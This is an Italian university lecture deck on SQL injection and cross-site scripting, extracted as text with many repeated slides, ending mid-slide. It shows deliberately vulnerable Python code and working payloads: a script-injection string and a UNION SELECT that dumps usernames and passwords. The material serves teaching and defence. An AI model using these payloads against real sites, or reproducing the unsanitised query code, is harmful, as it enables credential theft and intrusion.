analisi di vulnerabilità e prevenzione di attacchi sql

105
Pattern Recognition and Applications Lab University of Cagliari, Italy Department of Electrical and Electronic Engineering Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting Dott. Ing. Igino Corona igino.corona (at) diee.unica.it Corso Sicurezza Informatica 2015/16

Upload: others

Post on 18-Dec-2021

3 views

Category:

Documents


0 download

TRANSCRIPT

Pattern Recognition and Applications Lab

University of Cagliari, Italy

Department of Electrical and Electronic

Engineering

Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting

Dott. Ing. Igino Corona igino.corona (at) diee.unica.it

Corso Sicurezza Informatica 2015/16

http://pralab.diee.unica.it

Introduzione: Il World Wide Web• Il moderno World Wide Web è basato su un meccanismo di

comunicazione client-server essenzialmente semplice • Un client invia un messaggio di richiesta verso un server • Un server invia un messaggio di risposta

• I messaggi: • sono specificati secondo il protocollo HTTP (es. RFC2616

https://tools.ietf.org/html/rfc2616) • sono scambiati attraverso protocollo TCP • possono essere cifrati attraverso protocolli come TLS (HTTPS)

2

client (browser)

GET /search?q=hacking HTTP/1.1Host: www.google.itConnection: close

server (www.google.it)

HTTP/2.0 200 OKContent-Type: text/html; charset=UTF-8Content-Length: 3386

<html>…</html>

http://pralab.diee.unica.it

Introduzione: Simulazione di un browser• Come “carica” le pagine il nostro browser?

• Simuliamolo, assumendo di contattare http://www.google.it/search?q=hacking (risultati di ricerca associati al testo ‘hacking’)

• Le fasi sono le seguenti 1. Risoluzione del nome www.google.it 2.Connessione TCP verso l’indirizzo IP risolto 3. Invio messaggio HTTP GET /search?q=hacking 4. Ricezione della risposta (risultati di ricerca)

3

http://pralab.diee.unica.it

Introduzione: Simulazione di un browser1. Risoluzione del nome www.google.it

• Tale operazione viene eseguita solo se non esiste alcun indirizzo IP associato al nome di dominio nella cache del browser

• Per risolvere un nome di dominio possiamo usare il comando dig

$ dig www.google.it

; <<>> DiG 9.8.3-P1 <<>> www.google.it ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48745 ;; flags: qr rd ra; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION: ;www.google.it. IN A

;; ANSWER SECTION: www.google.it. 170 IN A 149.3.176.56 www.google.it. 170 IN A 149.3.176.54 www.google.it. 170 IN A 149.3.176.53 www.google.it. 170 IN A 149.3.176.55 www.google.it. 170 IN A 149.3.176.57 www.google.it. 170 IN A 149.3.176.59 www.google.it. 170 IN A 149.3.176.52 www.google.it. 170 IN A 149.3.176.58

;; Query time: 59 msec

4

http://pralab.diee.unica.it

Introduzione: Simulazione di un browser2.Connessione TCP verso l’indirizzo IP risolto.

• Il browser di solito contatta il primo indirizzo IP in lista • Nel nostro caso è 149.3.176.56 • Il modo più semplice è usare il comando telnet

$ telnet 149.3.176.56 80 Trying 149.3.176.56... Connected to 149.3.176.56. Escape character is ‘^]’.

3. Invio messaggio HTTP GET /search?q=hacking • Il messaggio minimale secondo HTTP versione 1 è il seguente • Il client indica al server di aver terminato l’invio del messaggio con un una

linea vuota finale

GET /search?q=hacking HTTP/1.1 Host: www.google.it Connection: close <enter>

5

http://pralab.diee.unica.it

Introduzione: Simulazione di un browser4. Ricezione della risposta (risultati di ricerca)

• Il server risponde con un messaggio con i risultati di ricerca in formato HTML

HTTP/1.1 200 OK Date: Thu, 07 Apr 2016 11:47:39 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=ISO-8859-1 P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info." Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Set-Cookie: NID=78=TQUEsIGGX5mf4L154Hn9TTMUkWXtG0Y4eKPhLVkR0EZpHWeX6g062aLJWz4rE0QzvVivYTiHgVliO4qnjJrLbQfTkvaoN5NWbXyviA21_iLWR5J5VDtIHGa3bO7cPjjs; expires=Fri, 07-Oct-2016 11:47:39 GMT; path=/; domain=.google.it; HttpOnly Accept-Ranges: none Vary: Accept-Encoding Connection: close

<!doctype html> … </html>Connection closed by foreign host.

6

http://pralab.diee.unica.it

Sicurezza nel World Wide Web• Il server riceve dei messaggi dal client (e vice versa) • MA non esiste alcuna garanzia che i messaggi rispettino

• le specifiche del protocollo con cui intendono comunicare • gli input previsti dagli sviluppatori • la logica di funzionamento delle applicazioni associate

• cosa c’è di anomalo nelle richieste/risposte di cui sopra?

7

client (browser)

GET /search?q=h&q=<ac&q=king HTTP/1.1Host: www.google.it....Host: www.facebook.comHost: www.twitter.comConnection: closeConnection: keep-alive

server (www.google.it)

HTTP/2.0 200 OKHTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTf-8Content-Length: 3

<html>…</html>

http://pralab.diee.unica.it

Sicurezza nel World Wide Web• I criminali informatici mirano all’individuazione di condizioni

• “non previste dagli sviluppatori” • attraverso violazioni deliberate dei protocolli / logica dei messaggi • per eseguire operazioni non autorizzate sui dispositivi/servizi

• acquisizione di informazioni confidenziali • controllo remoto dei dispositivi (es. per botnet) • compromissione dei servizi per attività illecite (es. phishing)

• In questa lezione • approfondiremo il tema relativo alle vulnerabilità più comuni lato server

(SQL Injection e Cross-site Scripting) • vedremo

• da cosa sono causate • come sia possibile sfruttarle illecitamente (in un ambiente isolato)

8

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

9

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video Results

10

• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità

Web Application (Python)

http://pralab.diee.unica.it

Video Results

10

• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità

def results(search_query): html = """<input name="search_query" value="%s" title="Cerca" aria-label="Cerca" type="text">""" % search_query

… return html

Web Application (Python)

http://pralab.diee.unica.it

Video Results

10

• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità

def results(search_query): html = """<input name="search_query" value="%s" title="Cerca" aria-label="Cerca" type="text">""" % search_query

… return html

Web Application (Python)

Cosa succede se richiedo il link: • https://www.youtube.com/results?search_query=%64%65%65%70%2B

%70%75%72%70%6C%65%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%74%65%73%74%20%58%53%53%22%29%3C%2F%73%63%72%69%70%74%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%20

http://pralab.diee.unica.it

Video Results

10

• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità

def results(search_query): html = """<input name="search_query" value="%s" title="Cerca" aria-label="Cerca" type="text">""" % search_query

… return html

Web Application (Python)

Cosa succede se richiedo il link: • https://www.youtube.com/results?search_query=%64%65%65%70%2B

%70%75%72%70%6C%65%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%74%65%73%74%20%58%53%53%22%29%3C%2F%73%63%72%69%70%74%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%20

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

results()

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

results()

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

results()

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

results()

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

results()seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

results()seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

results()seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

results()seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

results()seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

results()

search_query=“<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

input

results()

search_query=“<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

input

results()

search_query=“<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

input

results()

search_query=“<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

input

results()

output

search_query=“<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

input

results()

output

search_query=“<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

input

“Results” + malicious JavaScript code

results()

output

search_query=“<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

input

“Results” + malicious JavaScript code

results()

output

search_query=“<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

input

“Results” + malicious JavaScript code

results()

output

search_query=“<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

input

“Results” + malicious JavaScript code

results()

output

search_query=“<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

html = <input name="search_query" value=""><script>alert("test XSS")</script><input value="" title="Cerca" aria-label="Cerca" type="text">

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

11

Web Serverwww.youtube.com

GET /results?search_query=<evil input>

input

“Results” + malicious JavaScript code

results()

output

search_query=“<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>="><script>alert("test XSS")</script><input value="

Cross-Site Scripting sfrutta la mancata validazione di input sulla variabile search_query per inserire JavaScript arbitrario sulla pagina

html = <input name="search_query" value=""><script>alert("test XSS")</script><input value="" title="Cerca" aria-label="Cerca" type="text">

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

watch(v)

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

watch(v)

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

watch(v)

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

watch(v)

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

watch(v)seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

watch(v)seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

watch(v)seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

watch(v)seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

watch(v)seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

watch(v)

v="39vhEHUOBRU"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

input

watch(v)

v="39vhEHUOBRU"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

input

watch(v)

v="39vhEHUOBRU"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

input

watch(v)

v="39vhEHUOBRU"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

input

watch(v)

output

v="39vhEHUOBRU"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

input

watch(v)

output

v="39vhEHUOBRU"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

input

“Deep Purple-Made In Japan (1972)” video stream

watch(v)

output

v="39vhEHUOBRU"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Video su (vulnerable) Youtube

12

Web Serverwww.youtube.com

GET /watch?v=39vhEHUOBRU

input

“Deep Purple-Made In Japan (1972)” video stream

watch(v)

output

v="39vhEHUOBRU"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

Watch Video

13

• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità

Web Application (Python)

http://pralab.diee.unica.it

Watch Video

13

• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità

def watch(v): … query = "SELECT content FROM video WHERE hash='%s'" % urllib.unquote(v) return db_cursor.execute(query)

Web Application (Python)

http://pralab.diee.unica.it

Watch Video

13

• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità

def watch(v): … query = "SELECT content FROM video WHERE hash='%s'" % urllib.unquote(v) return db_cursor.execute(query)

Web Application (Python)

Cosa succede se richiedo il link: • https://www.youtube.com/watch?v=%33%39%76%68%45%48%55%4F

%42%52%55%27%2F%2A%2A%2F%55%4E%49%4F%4E%2F%2A%2A%2F%53%45%4C%45%43%54%2F%2A%2A%2F%43%4F%4E%43%41%54%28%75%73%65%72%2C%27%7C%27%2C%70%61%73%73%29%2F%2A%2A%2F%46%52%4F%4D%2F%2A%2A%2F%75%73%65%72%73%2F%2A%2A%2F%57%48%45%52%45%2F%2A%2A%2F%27%31%27%3D%27%31

http://pralab.diee.unica.it

Watch Video

13

• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità

def watch(v): … query = "SELECT content FROM video WHERE hash='%s'" % urllib.unquote(v) return db_cursor.execute(query)

Web Application (Python)

Cosa succede se richiedo il link: • https://www.youtube.com/watch?v=%33%39%76%68%45%48%55%4F

%42%52%55%27%2F%2A%2A%2F%55%4E%49%4F%4E%2F%2A%2A%2F%53%45%4C%45%43%54%2F%2A%2A%2F%43%4F%4E%43%41%54%28%75%73%65%72%2C%27%7C%27%2C%70%61%73%73%29%2F%2A%2A%2F%46%52%4F%4D%2F%2A%2A%2F%75%73%65%72%73%2F%2A%2A%2F%57%48%45%52%45%2F%2A%2A%2F%27%31%27%3D%27%31

http://pralab.diee.unica.it

Watch Video - Attacco

14

http://pralab.diee.unica.it

Watch Video - Attacco

14

Sullo stesso database è presente una tabella users con i dati degli utenti (nome utente e password)

http://pralab.diee.unica.it

Watch Video - Attacco

14

Sullo stesso database è presente una tabella users con i dati degli utenti (nome utente e password)

Cosa succede se richiedo il link: • https://www.youtube.com/watch?v=%33%39%76%68%45%48%55%4f

%42%52%55%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%28%75%73%65%72%2c%27%7c%27%2c%70%61%73%73%77%6f%72%64%29%20%46%52%4f%4d%20%75%73%65%72%73%20%57%48%45%52%45%20%27%31%27%3d%27%31

• decodificata: • https://www.youtube.com/watch?v=39vhEHUOBRU'/**/UNION/**/

SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1

Query finale: SELECT content FROM video WHERE hash='39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)

v="<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

watch(v)

v="<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

watch(v)

v="<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

watch(v)

v="<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

watch(v)

output

v="<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

watch(v)

output

v="<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

“Deep Purple-Made In Japan (1972)” video stream + concat(user,password)

watch(v)

output

v="<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

“Deep Purple-Made In Japan (1972)” video stream + concat(user,password)

watch(v)

output

v="<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

Cross-site Scripting su (vulnerable) Youtube

15

Web Serverwww.youtube.com

GET /watch?v=<evil input>

input

“Deep Purple-Made In Japan (1972)” video stream + concat(user,password)

watch(v)

output

v="<evil input>"

seleziona applicazione web

https://www.youtube.com/watch?v=39vhEHUOBRU

<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'

SQL injection sfrutta la mancata validazione di input sulla variabile v

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

GET /watch?v=<evil input>

watch(v)

v="<evil input>"

seleziona applicazione web

Browser

https://www.youtube.com/watch?v=39vhEHUOBRU

http://pralab.diee.unica.it

SQL Injection su (vulnerable) Youtube

16

Web Serverwww.youtube.com

